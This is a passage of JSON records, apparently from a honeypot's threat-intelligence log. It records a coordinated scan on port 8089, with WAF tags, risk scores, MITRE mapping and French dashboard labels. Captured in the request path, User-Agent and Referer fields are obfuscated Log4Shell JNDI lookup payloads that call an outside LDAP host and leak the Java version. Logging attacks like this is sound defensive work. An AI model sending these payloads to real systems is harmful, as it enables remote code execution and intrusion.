\u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022post_exploit\u0022, \u0022label_fr\u0022: \u0022Post-exploitation\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022c2\u0022, \u0022label_fr\u0022: \u0022Commande \u0026 contr\u00f4le\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022reconnaissance\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022chain\u0022, \u0022hint_fr\u0022: null}]}, \u0022honeypot_persona\u0022: {\u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022mail_host\u0022: \u0022mail.sensor-1.internal\u0022, \u0022ldap_dc\u0022: \u0022dc.sensor-1.internal\u0022, \u0022k8s_cluster\u0022: \u0022hp-sensor-1\u0022, \u0022domain\u0022: \u0022sensor-1.internal\u0022, \u0022service_role\u0022: \u0022http\u0022, \u0022service_banner\u0022: \u0022honeypot-http\u0022, \u0022service_os\u0022: \u0022linux\u0022, \u0022dst_port\u0022: \u00228089\u0022}, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022port_scan_campaign\u0022: true, \u0022port_scan_distinct_ports\u0022: 5, \u0022port_scan_ports_sample\u0022: [7005, 8083, 8084, 8087, 8089], \u0022coordinated_scan\u0022: true, \u0022coordinated_subnet\u0022: \u002234.19.116.0\/24\u0022, \u0022coordinated_ip_count\u0022: 9, \u0022behavior_alerts\u0022: [\u0022port_scan_campaign\u0022, \u0022coordinated_scan\u0022], \u0022correlation_confidence_boost\u0022: 16, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022ban_policy\u0022: \u0022advisory_investigate\u0022, \u0022tags_list\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022, \u0022net_web_probe\u0022], \u0022asn_dc_heuristic\u0022: true}","tls_sni":null,"tls_ja3_hash":null,"tls_ja3":null,"http_version":"HTTP\/1.1","http_host":"ip-62-3-50-33.v4.isp.servpersosystems.net:8089","http_user_agent":"${${o:fy:-j}${npf:-n}${v06:fb:-d}${k:reia:-i}${wn7:-:}${e:-l}${1:1syi:-d}${mi:q:whsq:-a}${a:5xsk:-p}${8z:-:}${l:a:-\/}${5:f13y:-\/}${okje:lux:-U}${n0lr:-A}${z1b:mxw1:-l}${jvm:-0}${m2:fp:qr:-c}${k2:wg:--}${${y:-s}${rf:mc:2ful:-y}${h:hg5d:-s}${ce:encq:t3:-:}${2:ziv:1vxf:-j}${qe:rvz:-a}${ih4:fmn:zb6:-v}${kg:bzm:-a}${7y54:p:921:-.}${nhso:-v}${idl2:8:-e}${a6m:em:mdgo:-r}${5:f6:p:-s}${fte9:sy2:-i}${j7:ki:-o}${cg:zp5y:-n}}${fkd:o02e:jqf:-.}${ur:zrwq:ni:-5}${fj:tlk7:qupz:-5}${g:-7}${vk:dx:cdp:-4}${s:kpu7:-3}${hs:b:-3}${yt:fq:-d}${wi:sev:1r0q:-c}${1n:dezt:im2x:-0}${g:o:9ba5:-f}${bk4:hr:8ng:-b}${ey4:z3f:su:-8}${ckrx:o3w:oh:-e}${x6k:kabj:r:-d}${zmg:-e}${l3u2:7:z:-e}${n:fmi2:45:-8}${wc:-e}${9q:i5a7:-2}${q:-2}${yxlu:-e}${lt:4pf:-6}${r:-e}${q8zm:w1n:3:-5}${f:d:-2}${75e:-8}${vb:-4}${32b1:-f}${p2f:z0:q6b:-7}${m6kt:qin:3rbu:-2}${hd:py:-e}${x6oe:a23:-3}${4qh:g31:-3}${hmeu:3b:x:-3}${gl03:-8}${xaq9:hvr:-f}${6:14w:y:-d}${w7h5:4:-9}${i:mo:-0}${uof:5o3e:4wf:-e}${fd:-2}${v:c:-a}${l:j:dr:-.}${byo:-d}${k0i:m0ny:uc:-n}${x:-s}${5p3x:ygp:q5p:--}${lwb:y70:kbe:-e}${46:de9l:5md2:-x}${kwej:uz19:-f}${o:0hz:0u9:-i}${r:e:70t:-l}${325r:w7ep:-.}${rn:7av:91j:-m}${jv:-a}${8r:5:-s}${m1d:ubt:-m}${nu:1q:-c}${0:d:4j:-o}${tnu6:a2i:-r}${gjms:ctw6:q4r:-e}${4o:k:--}${1i3:hk:-c}${7ct1:c0:-f}${hwcm:5ms:snk:--}${nzsk:2rvf:vd:-p}${af:-r}${9i7:pd:3cq9:-o}${6pj8:-d}${gb27:--}${mbh:e5k:-0}${cpqv:dvwr:-2}${3t8:v:-.}${a7:-m}${f:12l:-a}${ij39:2w8t:-s}${j34:6n3:-m}${kn:-.}${4:j:-c}${rw5:3qr:-l}${x2:c:eqy:-o}${4j7:ut:5r:-u}${gx:-d}${4q19:205o:k:-f}${23l:qgah:-e}${qde:13o:-r}${dph6:4xp2:-r}${h4r7:t3:-y}${op:e2:30:-.}${c:8lcg:-g}${j:-o}${kq7:-o}${q:-g}}","http_referer":"${${oapq:ry:-j}${pr8:-n}${9z21:-d}${e38q:-i}${ey8s:5nh2:-:}${y4:6fv:-l}${igqb:-d}${l8:pw31:-a}${31:-p}${us9a:w2:usaz:-:}${sq:fa:-\/}${uqyv:w:ba:-\/}${8my:-R}${j:enp:-E}${6:9m:-l}${w:-0}${pj:2:63uh:-c}${v0:j7c1:w34:--}${${7q:8c:-s}${oa5:3sa6:-y}${vjd:ywmi:-s}${9y4f:xoi:-:}${v:60:b:-j}${s46p:-a}${bq:q:uf5o:-v}${4dwi:z8:-a}${zsav:-.}${rl:h:-v}${y:h:0i:-e}${lef:42:4:-r}${98:lp:-s}${e5:-i}${5zgc:cyu:-o}${c:nq:m3l:-n}}${rk84:2q:-.}${vm2u:0c3q:r:-5}${jquf:g:kn5l:-5}${e2rx:9mfx:4hwn:-7}${vx7t:s4ct:-4}${w4ut:od:6v1:-3}${oed1:36gs:giv:-3}${wd29:shm:-d}${ta5:-c}${lsy:er:-0}${z:m0y:-f}${3ic:j76:-b}${hgc2:fkx:uf1:-8}${pwg:1:p:-e}${v:-d}${ayb:p10:2:-e}${vl7:9:7:-e}${0:-8}${9u2:7jk0:12:-e}${d:ol4:wzxv:-2}${t81p:3:8l4v:-2}${8:lis5:-e}${7m3:-6}${sdj7:-e}${6es:g8:-5}${d4:6nz:j6u:-2}${fm:tn0:li:-8}${w1:-4}${v:k1nu:-f}${c5:axc:rc:-7}${b1n4:-2}${gvr:w8e3:wud:-e}${pmd2:uvm:j28g:-3}${e:7sm3:-3}${f7bk:en:0:-3}${zie:-8}${m:ok:o:-f}${9:6vx8:-d}${iu:-9}${s7p:-0}${f:8k:andp:-e}${9qow:-2}${bv6:gcwm:wjy:-a}${w8:rpuk:-.}${fhe:-d}${5eqm:pl51:-n}${9dg:n9q:-s}${6j:--}${av5:-e}${osu:-x}${5hzf:-f}${eyp:-i}${u8r:w:-l}${0:pfa:tg41:-.}${d1:p2b:-m}${dhji:-a}${z4:-s}${mbg5:4ton:-m}${3u:gd:whks:-c}${f6up:dir:7h0w:-o}${i94x:7:-r}${fjv:2ks:vy:-e}${ezu:--}${fvo3:65v:0:-c}${kvw:3x:tk:-f}${nsd8:5o:k:--}${2m1b:xsle:06ub:-p}${5q:-r}${c:pany:0:-o}${p:s2x:-d}${q0:--}${4j:83:wz:-0}${muw:-2}${we:2:-.}${w7g:-m}${ukfl:5:-a}${cbg:2r:9i:-s}${a:a:i:-m}${pnd:qa7:b:-.}${dvk3:d:-c}${k8:-l}${a0:863k:3tgl:-o}${qew:-u}${9:-d}${n9:-f}${vmxj:th:-e}${5rh:bdho:-r}${f4:r:9:-r}${j:ag70:sx5:-y}${yzu3:t:-.}${xf1:vfc:-g}${ex41:-o}${tgzs:-o}${l2:0:m:-g}}","tags":"[\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022, \u0022net_web_probe\u0022]","anomalies":"[]","severity":8,"bytes_in":4096},{"id":14459527,"ip":"34.19.116.51","ts":"2026-07-30 18:47:21.000000","proto":"tcp","src_port":45062,"dst_port":8089,"service":"http","classification":"port_scan_syn","waf_score":26,"waf_tags":"[\u0022950324:rce-0\u0022, \u0022950326:rce-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022]","http_method":"GET","http_target":"\/${${cb:eogf:-j}${j5md:-n}${d5mt:o0:94lu:-d}${mr:o:-i}${8tb:-:}${ud7q:d7tk:-l}${k84:t73:-d}${6i:z61:-a}${v5u8:-p}${xka:-:}${nmo:-\/}${h:6p:8:-\/}${a:c:-P}${s29:5h:-A}${nui:-l}${5v:-0}${vx:-c}${mtk:p:--}${${pt:-s}${i7w:-y}${q:qoer:d:-s}${e4b:8pt:sfdv:-:}${d:xh1:-j}${rza:-a}${qu6:bv:-v}${r98:k4z:m9:-a}${ei:-.}${w:pd:-v}${lpt:7a2:-e}${xs2t:knt:erxp:-r}${tl:-s}${f56:6k:7dpa:-i}${e8:7m:aj:-o}${b:-n}}${lec8:7u:sa2h:-.}${s7je:nmlf:fco1:-5}${onq7:9a1:-5}${a7z3:-7}${57:ft:-4}${feut:dr8p:-3}${h5i:-3}${b:c:-d}${aw:b:-c}${er7:cl:k:-0}${rbmq:scgx:n:-f}${x:-b}${sitv:d53a:kg73:-8}${k8:-e}${n3:-d}${k:-e}${d3jm:-e}${a:13v0:-8}${5:-e}${icld:-2}${r4zc:e:-2}${9xus:8:-e}${9qb:0ei:-6}${cr:ucl:6kt:-e}${5a:trb:-5}${1zf:-2}${8zl:-8}${28k:-4}${ito9:6j:-f}${6c4h:m:oly:-7}${irq:-2}${6ncq:t:4i:-e}${v78:npm:-3}${k0:p1gl:50:-3}${lst:sx6:obr:-3}${tb:-8}${de6h:rwc:-f}${ktu:j1:0m:-d}${k5uv:-9}${304:-0}${61wa:om:uya:-e}${75:khi:-2}${ylsh:-a}${zf:-.}${a39q:-d}${t:-n}${he68:hrc:-s}${fs6x:nyuv:w7i:--}${6vw:fl2a:-e}${1pxl:f:-x}${ija:o86:wm:-f}${4ham:wq:lg:-i}${k:ep:-l}${uwxl:rle:-.}${1h6w:3nlu:u:-m}${hapw:grfa:0:-a}${237:c:-s}${2b:pm:-m}${7r5b:-c}${t:o:a:-o}${i:x1:-r}${w:-e}${9gw5:70:v:--}${p0nh:t4y6:-c}${8i:0a2:-f}${en2:pq:--}${178h:-p}${8gp:r62p:k:-r}${aj:fj:-o}${v17:3:n:-d}${jqk:8:--}${d836:prgw:-0}${5:-2}${v:2jsf:3v5:-.}${ujl:-m}${2eh1:-a}${2ph:2t:4:-s}${5:37:xc0:-m}${g:-.}${t:-c}${ns2f:3et:-l}${986:o:fdn:-o}${i7:rmj:-u}${zuas:-d}${i:-f}${1:d:tkw:-e}${res:ejv:xnw7:-r}${nqjl:4ov:-r}${k:7:-y}${0v:qyf:qu3:-.}${5f80:ut:pq8t:-g}${swej:kao3:-o}${l1:-o}${m6:t2:omy:-g}}","sensor_id":"paris-1","meta":"{\u0022protocol_emulated\u0022: true, \u0022emulator_response\u0022: \u0022485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b\u0022, \u0022emulator_response_len\u0022: 82, \u0022http_header_count\u0022: 4, \u0022http_query_params\u0022: 0, \u0022http_path_depth\u0022: 3, \u0022http_path_ext\u0022: \u0022}${5f80:ut:pq8t:-g}${swej:kao3:-o}${l1:-o}${m6:t2:omy:-g}}\u0022, \u0022http_ua_hash\u0022: \u002274120ca472e0c5f86f112f3adb530883ee7bc88a\u0022, \u0022http_host_hash\u0022: \u002206b11278b3d8c06d12bf6f74085c2806fc07bb05\u0022, \u0022http_target_hash\u0022: \u00228db5ab6f39fb73cd68584e29678413709a509d02\u0022, \u0022http_referer_hash\u0022: null, \u0022http_method\u0022: \u0022GET\u0022, \u0022http_ua_is_cli\u0022: false, \u0022http_ua_is_browser\u0022: false, \u0022bytes_in\u0022: 4096, \u0022payload_entropy\u0022: 4.780818672264946, \u0022port_category\u0022: \u0022registered\u0022, \u0022org\u0022: \u0022Google LLC\u0022, \u0022service\u0022: \u0022http\u0022, \u0022app_proto\u0022: \u0022http\u0022, \u0022asn\u0022: 396982, \u0022country\u0022: \u0022US\u0022, \u0022dst_port\u0022: 8089, \u0022risk_waf\u0022: 100.0, \u0022risk_classification\u0022: 64.0, \u0022risk_behavior\u0022: 0.0, \u0022risk_geo\u0022: 40.0, \u0022risk_protocol\u0022: 33.0, \u0022risk_novelty\u0022: 25.0, \u0022risk_boost\u0022: 0, \u0022risk_granularity\u0022: 6.7, \u0022risk_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 33.0, \u0022novelty\u0022: 25.0}, \u0022risk_score\u0022: 67, \u0022tag_count\u0022: 6, \u0022anomaly_count\u0022: 0, \u0022campaign_key\u0022: \u0022d77af361e5bdaea8891df50b5c83b0284d3e2699\u0022, \u0022event_fingerprint\u0022: \u0022e0bda73dccd3436de8d2fbbae214a0b473c44d9e\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022, \u0022confidence\u0022: 1.0, \u0022classification_confidence\u0022: 1.0, \u0022precision_score\u0022: 293, \u0022precision_signals\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-scan-burst\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022kb_rule_ids\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-scan-burst\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022matched_patterns\u0022: [\u0022pat-0162\u0022], \u0022matched_pattern_names\u0022: [\u0022CRS 933135\u0022], \u0022pattern_ids\u0022: [\u0022pat-0162\u0022], \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 33.0, \u0022novelty\u0022: 25.0, \u0022risk_score\u0022: 67, \u0022correlation_boost\u0022: 16}, \u0022named_classification_skipped\u0022: false, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_confidence_factor\u0022: 100.0, \u0022city\u0022: null, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false, \u0022geo\u0022: {\u0022country\u0022: \u0022US\u0022, \u0022asn\u0022: 396982, \u0022org\u0022: \u0022Google LLC\u0022, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false}, \u0022fingerprint\u0022: {\u0022http_ua_hash\u0022: \u0022fb02c162a7f5e769e3ea6d2ffdeab25a\u0022, \u0022payload_hash\u0022: \u0022d326e815ba992706e95bf117b1efc362\u0022, \u0022path_pattern_hash\u0022: \u0022a9106bce78c5384101b2077610581940\u0022}, \u0022target_context\u0022: {\u0022dst_port\u0022: 8089, \u0022service\u0022: \u0022http\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_score\u0022: 67}, \u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/${${cb:eogf:-j}${j5md:-n}${d5mt:o0:94lu:-d}${mr:o:-i}${8tb:-:}${ud7q:d7tk:-l}${k84:t73:-d}${6i:z61:-a}${v5u8:-p}${xka:-:}${nmo:-\/}${h:6p:8:-\/}${a:c:-P}${s29:5h:-A}${nui:-l}${5v:-0}${vx:-c}${mtk:p:--}${${pt:-s}${i7w:-y}${q:qoer:d:-s}${e4b:8pt:sfdv:-:}${d:xh1:-j}${rza:-a}${qu6:bv:-v}${r98:k4z:m9:-a}${ei:-.}${w:pd:-v}${lpt:7a2:-e}${xs2t:knt:erxp:-r}${tl:-s}${f56:6k:7dpa:-i}${e8:7m:aj:-o}${b:-n}}${lec8:7u:sa2h:-.}${s7je:nmlf:fco1:-5}${onq7:9a1:-5}${a7z3:-7}${57:ft:-4}${feut:dr8p:-3}${h5i:-3}${b:c:-d}${aw:b:-c}\u0022, \u0022user_agent\u0022: \u0022${${q4:-j}${f:-n}${foa3:js:-d}${z:-i}${p:0n:1:-:}${8:s:5:-l}${fy9:d:-d}${0:f:-a}${i1n:ga:-p}${2nc:-:}${v4q:027:w:-\/}${8v4:pm:-\/}${65eh:0:2n:-U}${90:b4j:71m:-A}${7dsr:qh:sz:-l}${s9r:y:c:-0}${6rzx:-c}${slg:vxmk:--}${${q7z8:-s}${6qz:g72d:sikv:-y}${p:pnx3:r4:\u2026\u0022, \u0022waf_tags\u0022: [\u0022950324:rce-0\u0022, \u0022950326:rce-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022], \u0022request_line\u0022: \u0022GET \/${${cb:eogf:-j}${j5md:-n}${d5mt:o0:94lu:-d}${mr:o:-i}${8tb:-:}${ud7q:d7tk:-l}${k84:t73:-d}${6i:z61:-a}${v5u8:-p}${xka:-:}${nmo:-\/}${h:6p:8:-\/}${a:c:-P}${s29:5h:-A}${nui:-l}${5v:-0}${vx:-c}${mtk:p:--}${${pt:-s}${i7w:-y}${q:qoer:d:-s}${e4b:8pt:sfdv:-:}${d:xh1:-j}${rza:-a}${qu6:bv:-v}${r98:k4z:m9:-a}${ei:-.}${w:pd:-v}${lpt:7a2:-e}${xs2t:knt:erxp:-r}${tl:-s}${f56:6k:7dpa:-i}${e8:7m:aj:-o}${b:-n}}${lec8:7u:sa2h:-.}${s7je:nmlf:fco1:-5}${onq7:9a1:-5}${a7z3:-7}${57:ft:-4}${feut:dr8p:-3}${h5i:-3}${b:c:-d}${aw:b\u0022, \u0022payload_snippet\u0022: \u0022GET \/${${cb:eogf:-j}${j5md:-n}${d5mt:o0:94lu:-d}${mr:o:-i}${8tb:-:}${ud7q:d7tk:-l}${k84:t73:-d}${6i:z61:-a}${v5u8:-p}${xka:-:}${\u0022, \u0022evidence\u0022: {\u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/${${cb:eogf:-j}${j5md:-n}${d5mt:o0:94lu:-d}${mr:o:-i}${8tb:-:}${ud7q:d7tk:-l}${k84:t73:-d}${6i:z61:-a}${v5u8:-p}${xka:-:}${nmo:-\/}${h:6p:8:-\/}${a:c:-P}${s29:5h:-A}${nui:-l}${5v:-0}${vx:-c}${mtk:p:--}${${pt:-s}${i7w:-y}${q:qoer:d:-s}${e4b:8pt:sfdv:-:}${d:xh1:-j}${rza:-a}${qu6:bv:-v}${r98:k4z:m9:-a}${ei:-.}${w:pd:-v}${lpt:7a2:-e}${xs2t:knt:erxp:-r}${tl:-s}${f56:6k:7dpa:-i}${e8:7m:aj:-o}${b:-n}}${lec8:7u:sa2h:-.}${s7je:nmlf:fco1:-5}${onq7:9a1:-5}${a7z3:-7}${57:ft:-4}${feut:dr8p:-3}${h5i:-3}${b:c:-d}${aw:b:-c}\u0022, \u0022user_agent\u0022: \u0022${${q4:-j}${f:-n}${foa3:js:-d}${z:-i}${p:0n:1:-:}${8:s:5:-l}${fy9:d:-d}${0:f:-a}${i1n:ga:-p}${2nc:-:}${v4q:027:w:-\/}${8v4:pm:-\/}${65eh:0:2n:-U}${90:b4j:71m:-A}${7dsr:qh:sz:-l}${s9r:y:c:-0}${6rzx:-c}${slg:vxmk:--}${${q7z8:-s}${6qz:g72d:sikv:-y}${p:pnx3:r4:\u2026\u0022, \u0022waf_tags\u0022: [\u0022950324:rce-0\u0022, \u0022950326:rce-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022], \u0022request_line\u0022: \u0022GET \/${${cb:eogf:-j}${j5md:-n}${d5mt:o0:94lu:-d}${mr:o:-i}${8tb:-:}${ud7q:d7tk:-l}${k84:t73:-d}${6i:z61:-a}${v5u8:-p}${xka:-:}${nmo:-\/}${h:6p:8:-\/}${a:c:-P}${s29:5h:-A}${nui:-l}${5v:-0}${vx:-c}${mtk:p:--}${${pt:-s}${i7w:-y}${q:qoer:d:-s}${e4b:8pt:sfdv:-:}${d:xh1:-j}${rza:-a}${qu6:bv:-v}${r98:k4z:m9:-a}${ei:-.}${w:pd:-v}${lpt:7a2:-e}${xs2t:knt:erxp:-r}${tl:-s}${f56:6k:7dpa:-i}${e8:7m:aj:-o}${b:-n}}${lec8:7u:sa2h:-.}${s7je:nmlf:fco1:-5}${onq7:9a1:-5}${a7z3:-7}${57:ft:-4}${feut:dr8p:-3}${h5i:-3}${b:c:-d}${aw:b\u0022, \u0022request_sample\u0022: \u0022GET \/${${cb:eogf:-j}${j5md:-n}${d5mt:o0:94lu:-d}${mr:o:-i}${8tb:-:}${ud7q:d7tk:-l}${k84:t73:-d}${6i:z61:-a}${v5u8:-p}${xka:-:}${nmo:-\/}${h:6p:8:-\/}${a:c:-P}${s29:5h:-A}${nui:-l}${5v:-0}${vx:-c}${mtk:p:--}${${pt:-s}${i7w:-y}${q:qoer:d:-s}${e4b:8pt:sfdv:-:}$\u0022, \u0022payload_snippet\u0022: \u0022GET \/${${cb:eogf:-j}${j5md:-n}${d5mt:o0:94lu:-d}${mr:o:-i}${8tb:-:}${ud7q:d7tk:-l}${k84:t73:-d}${6i:z61:-a}${v5u8:-p}${xka:-:}${\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022}, \u0022attack_stage\u0022: \u0022recon\u0022, \u0022mitre_tactics\u0022: [\u0022TA0043\u0022], \u0022mitre_techniques\u0022: [\u0022T1046\u0022], \u0022mitre\u0022: \u0022T1046\u0022, \u0022threat_family\u0022: [\u0022scanner\u0022], \u0022recommended_client_action\u0022: \u0022investigate\u0022, \u0022policy_mode\u0022: \u0022intelligence\u0022, \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022event_signature\u0022: \u0022e410648bbcf9d8e25e44f1fb087139836deb6c36\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/${${cb:eogf:-j}${j5md:-n}${d5mt:o0:94lu:-d}${mr:o:-i}${8tb:-:}${ud7q:d7tk:-l}${k84:t73:-d}${6i:z61:-a}${v5u8:-p}${xka:-:}${nmo:-\/}${h:6p:8:-\/}${a:c:-P}${s29:5\u2026\u0022, \u0022request_line\u0022: \u0022GET \/${${cb:eogf:-j}${j5md:-n}${d5mt:o0:94lu:-d}${mr:o:-i}${8tb:-:}${ud7q:d7tk:-l}${k84:t73:-d}${6i:z61:-a}${v5u8:-p}${xka:-:}${nmo:-\/}${h:6p:8:-\/}${a:c:-P}${s29:5h:-A}${nui:-l}${5v:-0}${vx:-c}${mtk:\u2026\u0022, \u0022http_user_agent\u0022: \u0022${${q4:-j}${f:-n}${foa3:js:-d}${z:-i}${p:0n:1:-:}${8:s:5:-l}${fy9:d:-d}${0:f:-a}${i1n:ga:-p}${2nc:-:}${v4q:027:w:-\/}${8\u2026\u0022, \u0022port\u0022: 8089, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022evidence_snippet\u0022: \u0022GET \/${${cb:eogf:-j}${j5md:-n}${d5mt:o0:94lu:-d}${mr:o:-i}${8tb:-:}${ud7q:d7tk:-l}${k84:t73:-d}${6i:z61:-a}${v5u8:-p}${xka:-:}${\u0022, \u0022attack_vector\u0022: \u0022port scan syn \u00b7 via HTTP:8089 \u00b7 (reconnaissance) \u00b7 \u2192 \/${${cb:eogf:-j}${j5md:-n}${d5mt:o0:94lu:-d}${m\u2026\u0022, \u0022target_port_label\u0022: \u00228089 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 100 % \u2014 4 tag(s) WAF\u0022, \u0022site_display\u0022: {\u0022classification\u0022: null, \u0022classification_reason\u0022: \u0022Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022, \u0022classification_reason_label_fr\u0022: \u0022Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022, \u0022executive_one_liner_fr\u0022: \u0022Activit\u00e9 suspecte \u2014 risque 67\/100 (\u00c9lev\u00e9) \u2014 MITRE T1046 \u2014 confiance 100 % \u2014 via HTTP \u2014 campagne multi-ports\u0022, \u0022confidence_pct\u0022: 100, \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 33.0, \u0022novelty\u0022: 25.0, \u0022risk_score\u0022: 67, \u0022correlation_boost\u0022: 16}, \u0022attack_stage\u0022: \u0022recon\u0022, \u0022attack_stage_label\u0022: \u0022Reconnaissance\u0022, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022attack_chain_stage_label_fr\u0022: \u0022Reconnaissance\u0022, \u0022risk_score\u0022: 67, \u0022risk_label\u0022: \u0022\u00c9lev\u00e9\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022, \u0022dst_port\u0022: 8089, \u0022protocol_emulated\u0022: true, \u0022tags_summary\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-scan-burst\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022tags_summary_labels_fr\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022Beh Scan Burst\u0022, \u0022Beh Multi Port 60S\u0022], \u0022recommended_action\u0022: \u0022investigate\u0022, \u0022recommended_action_label\u0022: \u0022Investiguer\u0022, \u0022mitre\u0022: \u0022T1046\u0022, \u0022mitre_technique\u0022: \u0022T1046\u0022, \u0022persona_hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022persona_service_banner\u0022: \u0022honeypot-http\u0022, \u0022correlation_flags\u0022: [\u0022campagne_ports\u0022, \u0022scan_coordonn\u00e9\u0022], \u0022correlation_flags_labels_fr\u0022: [\u0022Campagne multi-ports\u0022, \u0022Scan coordonn\u00e9\u0022], \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022sensor_role_label_fr\u0022: \u0022Renseignement menaces\u0022, \u0022confidence_hint_fr\u0022: \u0022Corr\u00e9lation +16\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/${${cb:eogf:-j}${j5md:-n}${d5mt:o0:94lu:-d}${mr:o:-i}${8tb:-:}${ud7q:d7tk:-l}${k84:t73:-d}${6i:z61:-a}${v5u8:-p}${xka:-:}${nmo:-\/}${h:6p:8:-\/}${a:c:-P}${s29:5\u2026\u0022, \u0022request_line\u0022: \u0022GET \/${${cb:eogf:-j}${j5md:-n}${d5mt:o0:94lu:-d}${mr:o:-i}${8tb:-:}${ud7q:d7tk:-l}${k84:t73:-d}${6i:z61:-a}${v5u8:-p}${xka:-:}${nmo:-\/}${h:6p:8:-\/}${a:c:-P}${s29:5h:-A}${nui:-l}${5v:-0}${vx:-c}${mtk:\u2026\u0022, \u0022http_user_agent\u0022: \u0022${${q4:-j}${f:-n}${foa3:js:-d}${z:-i}${p:0n:1:-:}${8:s:5:-l}${fy9:d:-d}${0:f:-a}${i1n:ga:-p}${2nc:-:}${v4q:027:w:-\/}${8\u2026\u0022, \u0022port\u0022: 8089, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022attack_vector\u0022: \u0022port scan syn \u00b7 via HTTP:8089 \u00b7 (reconnaissance) \u00b7 \u2192 \/${${cb:eogf:-j}${j5md:-n}${d5mt:o0:94lu:-d}${m\u2026\u0022, \u0022evidence_snippet\u0022: \u0022GET \/${${cb:eogf:-j}${j5md:-n}${d5mt:o0:94lu:-d}${mr:o:-i}${8tb:-:}${ud7q:d7tk:-l}${k84:t73:-d}${6i:z61:-a}${v5u8:-p}${xka:-:}${\u0022, \u0022target_port_label\u0022: \u00228089 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 100 % \u2014 4 tag(s) WAF\u0022, \u0022confidence_factors_fr\u0022: \u0022Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +16 \u00b7 4 tag(s) WAF\u0022, \u0022campaign_hint_fr\u0022: \u0022Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)\u0022, \u0022attack_phases_timeline_fr\u0022: [{\u0022key\u0022: \u0022recon\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022probe\u0022, \u0022label_fr\u0022: \u0022Sonde \/ probe\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022exploit_attempt\u0022, \u0022label_fr\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022post_exploit\u0022, \u0022label_fr\u0022: \u0022Post-exploitation\u0022, \u0022active\u0022: false, \u0022kind\u0022: 